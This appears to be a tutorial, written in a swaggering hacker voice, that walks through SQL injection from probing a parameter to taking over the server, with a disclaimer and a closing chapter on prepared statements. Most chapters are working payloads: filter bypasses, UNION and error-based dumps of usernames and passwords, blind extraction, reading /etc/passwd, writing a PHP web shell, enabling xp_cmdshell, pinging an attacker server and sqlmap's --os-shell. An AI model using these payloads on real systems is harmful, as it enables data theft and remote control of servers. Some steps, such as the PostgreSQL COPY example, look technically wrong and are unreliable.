From SELECT to Shell: A Hacker's Guide to SQL Injection
Alright, listen up. Forget what you think you know about SQL. You're not here to build a database for cute cat pictures. You're here to break it. Your "SQL Learning Notes" are just the blueprints. This guide? This is the wrecking ball. We're turning simple database queries into keys for the entire system. From SELECT * FROM blog_posts to SELECT root_password FROM system_config_table. Let's get dangerous.
This information is for educational, CTF (Capture The Flag), and authorized bug bounty purposes only. Seriously. Using these techniques on systems without explicit permission is illegal, unethical, and will land you in hot water. Real pros find bugs to make the internet safer, not to cause chaos. Got it? Good.
Table of Contents
Chapter 1: The First Strike – Finding Your Target
Every hacker knows: you can't hit what you can't see. Your first job is to find the weak spot. Where does the website talk to the database? Look for URLs with IDs (?id=1), search boxes, login forms – anywhere your input might become part of a database query.
This is your smoke grenade. Toss a single quote ' into a URL parameter like this:
https://example.com/products?id=1 becomes https://example.com/products?id=1'
What happens?
- Page Breaks with a Database Error: BINGO! You just hit the jackpot. The error message is screaming "SQLi vulnerability!"
- Page Looks Normal: Don't give up. It might be blind (more on that later).
- Page Shows a "WAF Block" or "Forbidden" page: Good catch, you hit a Web Application Firewall (WAF). Time to get creative...
Pro-Tip: Bypassing Filters & WAFs
A WAF will try to block keywords like SELECT and spaces. You have to be smarter. You can replace spaces with comments or other characters:
// Standard space
?id=1%20AND%201=1
// Bypass spaces with comments
?id=1/**/AND/**/1=1
?id=1/*!*/AND/*!*/1=1
// Bypass spaces with URL-encoded whitespace
?id=1%0aAND%0a1=1 (Line Feed)
?id=1%09AND%091=1 (Tab)
// Bypass quote filtering with "Wide Byte" injection
// If the server uses a bad character set (like GBK),
// you can send %df' . The server sees %df as an
// invalid character and combines it with the \
// that the WAF added, forming a new, valid character.
// This leaves your single quote ' all alone to do its evil work.
?id=1%df'%5c' (You send %df', server adds %5c -> %df%5c')
New to this?
Need a visual? This is a great warm-up before we dive deep.
Chapter 2: Recon & Fingerprinting
Alright, you found a weak spot. Now, you need to know what kind of database you're talking to. You can't use an MS-SQL payload on a MySQL server. This is recon.
| Database | Version Query | Time-Delay Payload (for Blind) |
|---|---|---|
| MySQL | SELECT @@version |
AND (SELECT(SLEEP(5))) |
| MS-SQL | SELECT @@version |
WAITFOR DELAY '0:0:5' |
| PostgreSQL | SELECT version() |
AND pg_sleep(5) IS NOT NULL |
| Oracle | SELECT * FROM v$version |
AND 1=(dbms_pipe.receive_message('a',5)) |
| SQLite | SELECT sqlite_version() |
AND 1=LIKE('A',UPPER(HEX(RANDOMBLOB(1e7)))) |
Pro-Tip: Check Your Privileges!
Once you know the database, check *who* you are. You might be a low-level user, or you might be the boss (root, sa, or dbo). This changes everything.
MS-SQL: AND 1=(select is_srvrolemember('sysadmin'))
MySQL: AND (SELECT user()) = 'root'
Chapter 3: The UNION Attack – Getting Data Out
This is your first "loud" attack. You're going to trick the database into showing you its secrets by "stitching" your query onto the website's query with UNION.
-
Find the Column Count
YourUNIONmust have the *exact same* number of columns as the original query. We find this by "ordering" the results by column number until it breaks.?id=1' ORDER BY 1-- ?id=1' ORDER BY 2-- ?id=1' ORDER BY 3-- ?id=1' ORDER BY 4-- <-- ERROR!If
4gives an error, it means there are 3 columns. -
Find a Displayable Column
Now you useUNIONwith the correct number of columns. We use-1as the ID to make sure the original query finds nothing, so only *our* query is shown.?id=-1' UNION SELECT 1,2,3--The page will now display
1,2, and3in the spots where it normally shows content. Let's say2and3show up. Those are your data channels. -
Dump the Data!
Now, instead of2and3, you ask for real data. We'll useCONCAT()to put the username and password together.?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- // Page might show: users,products,admin_logs ?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- // Page might show: id,user,pass,email // The Money Shot: ?id=-1' UNION SELECT 1,2,group_concat(user,':',pass) FROM users--And just like that, the page displays:
admin:b4d_p4ssw0rd_h4sh
Want to see this in action?
Seeing a live demo can make this click. This video shows a clear example of using UNION to dump data.
Chapter 4: Error-Based Injection (The Loud & Fast Attack)
This is one of the "sexiest" techniques. What if UNION is blocked? You can trick the database into throwing an error message that... contains the data you want! It's fast, and it feels like magic.
// MySQL (updatexml): This function expects valid XML. We give it an invalid one (0x7e is '~')
// and our data. It will throw an error showing our "invalid" string.
?id=1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
// ERROR: XPATH syntax error: '~root@localhost~'
?id=1' AND updatexml(1,concat(0x7e,(SELECT mid(group_concat(schema_name),1,30) FROM information_schema.schemata),0x7e),1)--
// ERROR: XPATH syntax error: '~mysql,information_schema,perfor~'
// MySQL (extractvalue): Similar to updatexml. Only works in older versions.
// We use procedure analyse() to trigger it.
?id=1' ORDER BY 1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT version()))),1)
// ERROR: XPATH syntax error: ':5.5.5-10.1.34-MariaDB~'
// PostgreSQL (CAST): We try to cast text (our data) as a number.
// The database will complain, showing us the text it couldn't convert.
?id=1 AND 1=CAST((SELECT user)::text AS NUMERIC)--
// ERROR: invalid input syntax for type numeric: "postgres"
?id=1 AND 1=CAST((SELECT schemaname FROM pg_tables LIMIT 1)::text AS NUMERIC)--
// ERROR: invalid input syntax for type numeric: "public"
Chapter 5: The Silent Hunter - Blind SQL Injection
This is what separates the pros from the script kiddies. The website is *silent*. No errors, no data. You are blind. You have to ask a series of TRUE/FALSE questions and observe the website's *behavior*.
5.1 Boolean-Based Blind (True or False?)You ask a question. If it's TRUE, the page loads. If it's FALSE, it breaks or changes.
Payload (asks "Is the first letter of the database name 'a'?"):
?id=1' AND (ascii(substr(database(),1,1)))=97--
// 97 is the ASCII code for 'a'
If the page loads, the answer is TRUE. If it's blank, the answer is FALSE. You script this to brute-force the entire password, character by character.
5.2 Time-Based Blind (Wait for It...)This is even stealthier. You tell the database: "If the answer is TRUE, pause for 5 seconds."
Payload (MySQL):
?id=1' AND IF(ascii(substr(database(),1,1))=115, sleep(5), 1)--
// Asks: "Is the first letter of the database 's'?"
// If TRUE, the page hangs for 5 seconds.
Payload (PostgreSQL):
?id=1' AND (select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end);--
// Asks: "Is the current user 'postgres'?"
// If TRUE, sleep for 5 seconds.
If the page takes 5+ seconds to load, the answer is TRUE. This is the one hackers use when all else fails. It's slow, but it *always* works.
Blind SQLi can be tricky to grasp.
This video provides a great conceptual and practical overview of this "silent" technique.
Chapter 6: The Holy Grail - File I/O & RCE
This is it. The ultimate goal. You've gone from reading data to *owning the server*. This is where SQLi gets *really* "sexy"... and really dangerous.
MySQL: File Read/Write
Reading Files: If the MySQL user has FILE privileges, you can read any file it can access.
?id=-1' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
Writing Files: This is how you get a shell. You write a small, malicious file (a web shell) to a public web directory (like /var/www/html/).
?id=-1' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 INTO OUTFILE '/var/www/html/shell.php'--
If this works, you can now visit https://example.com/shell.php?cmd=whoami and... BOOM. You are running commands on the server. You own it.
PostgreSQL: File Read/Write & RCE
PostgreSQL has powerful built-in commands for this. You need to be a superuser (like postgres) to use them.
Reading Files:
?id=-1' UNION SELECT 1,pg_read_file('/etc/passwd', 0, 100000),3--
Writing Files: We can create a temporary table, put our shell code in it, and then COPY that table to a file on the server.
// Use stacking queries (multiple commands separated by ;)
?id=1'; DROP TABLE IF EXISTS cmd_shell;--
?id=1'; CREATE TABLE cmd_shell(cmd_output text);--
?id=1'; COPY cmd_shell(cmd_output) FROM ('<?php system($_GET['cmd']); ?>');--
?id=1'; COPY cmd_shell TO '/var/www/html/shell.php';--
Direct RCE: In some old versions, you could even run commands directly!
?id=-1' UNION SELECT 1,system('whoami'),3--
MS-SQL: The `xp_cmdshell` Pwnage
The holy grail for MS-SQL is a stored procedure called xp_cmdshell. If you are the sa (sysadmin) user, you can use this to run commands directly on the Windows server.
Know Your Territory: MS-SQL Databases
- Pro Recon
When you're in an MS-SQL server, you're looking for themasterdatabase. This is the brain. It controls logins, configurations, and other databases likemsdb(for jobs/alerts) andtempdb(for temporary data). Ownmaster, and you own everything.
Here is the full attack chain for xp_cmdshell:
-
Check if `xp_cmdshell` exists and is enabled
?id=1' AND 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--(If this returns TRUE, it exists. But it's usually disabled by default.)
-
Enable `xp_cmdshell` (if you are 'sa')
You have to use stacked queries (;) to run this. This won't work in a simpleUNION.// You may need to run these one by one ?id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;-- ?id=1'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
Execute Your Command
?id=1'; EXEC xp_cmdshell 'whoami'--This will try to execute
whoamion the server. If the injection is blind, you can make it ping your server:?id=1'; EXEC xp_cmdshell 'ping your-attacker-server.com'--
Writing files or running commands (RCE) is a critical vulnerability. This is the line between a bug bounty and a federal crime. Only ever attempt this on systems you own or have explicit, written permission to pentest (like a CTF).
Ready for the advanced stuff?
These techniques are complex but incredibly powerful. LiveOverflow's videos are gold for this.
Chapter 7: The Ultimate Tool - sqlmap
Look, we all love manual hacking. It's how you learn. But sometimes, you're on a bug bounty, time is money, and you just want the data. Enter sqlmap.
sqlmap is the automated tool that does everything we just talked about (and more) with a few commands. It fingerprints, finds columns, dumps data, reads/writes files, and even tries to get you a shell.
sqlmap Usage:
sqlmap -u "http://example.com/products?id=1" --dbs
This will test for SQLi on id=1 and list all accessible databases.
sqlmap -u "http://example.com/products?id=1" -D target_db -T users --dump
This will dump all data from the users table within target_db.
sqlmap -u "http://example.com/products?id=1" --os-shell
This will try to use the file write techniques we discussed (like INTO OUTFILE) to upload a shell and give you command access.
sqlmapsqlmap is powerful and *very* loud (it makes a lot of noise in server logs). It can crash vulnerable applications. Never use it on systems you don't have explicit permission to test. A pro knows *when* to use a tool, not just *how*.
Chapter 8: The Fix - Becoming a Defender
A true hacker doesn't just break things; they understand how to build them securely. The #1 defense against SQL Injection is simple: NEVER trust user input.
The golden rule: Parameterized Queries (Prepared Statements).
This method tells the database exactly where the "code" ends and the "data" begins. It sends the SQL command template first, and then the user's input separately. The database then safely plugs the user's input into the placeholder.
This code literally stitches user input directly into the SQL query. It's begging to be hacked.
String query = "SELECT * FROM users WHERE username = '" + userInput + "'";
Statement.execute(query);
Here, the
? is a placeholder. The database *knows* userInput is just text, not a command.
PreparedStatement stmt = con.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, userInput); // userInput is treated as safe, raw data
ResultSet rs = stmt.executeQuery();
When you use prepared statements, your malicious ' OR 1=1-- payload just becomes a literal username that the database tries (and fails) to find. It's harmless. The attack is dead.
Understanding the fix is as important as the attack.
Learn how to secure code from the pros at SANS.
Conclusion: From Zero to Hero (Ethical Hacker Edition)
You've gone from basic SQL notes to understanding how to find, exploit, and even fix one of the nastiest web vulnerabilities out there. You've seen how to dump data with UNION, bypass filters, pull data from errors, and even get a full shell with xp_cmdshell. SQL Injection isn't just a database flaw; it's a gateway.
Keep learning, keep practicing in legal environments (like CTFs and bug bounty programs), and always, always hack ethically. The more you break, the better you'll get at building and protecting.
Now, go find some (authorized) bugs. The internet needs you.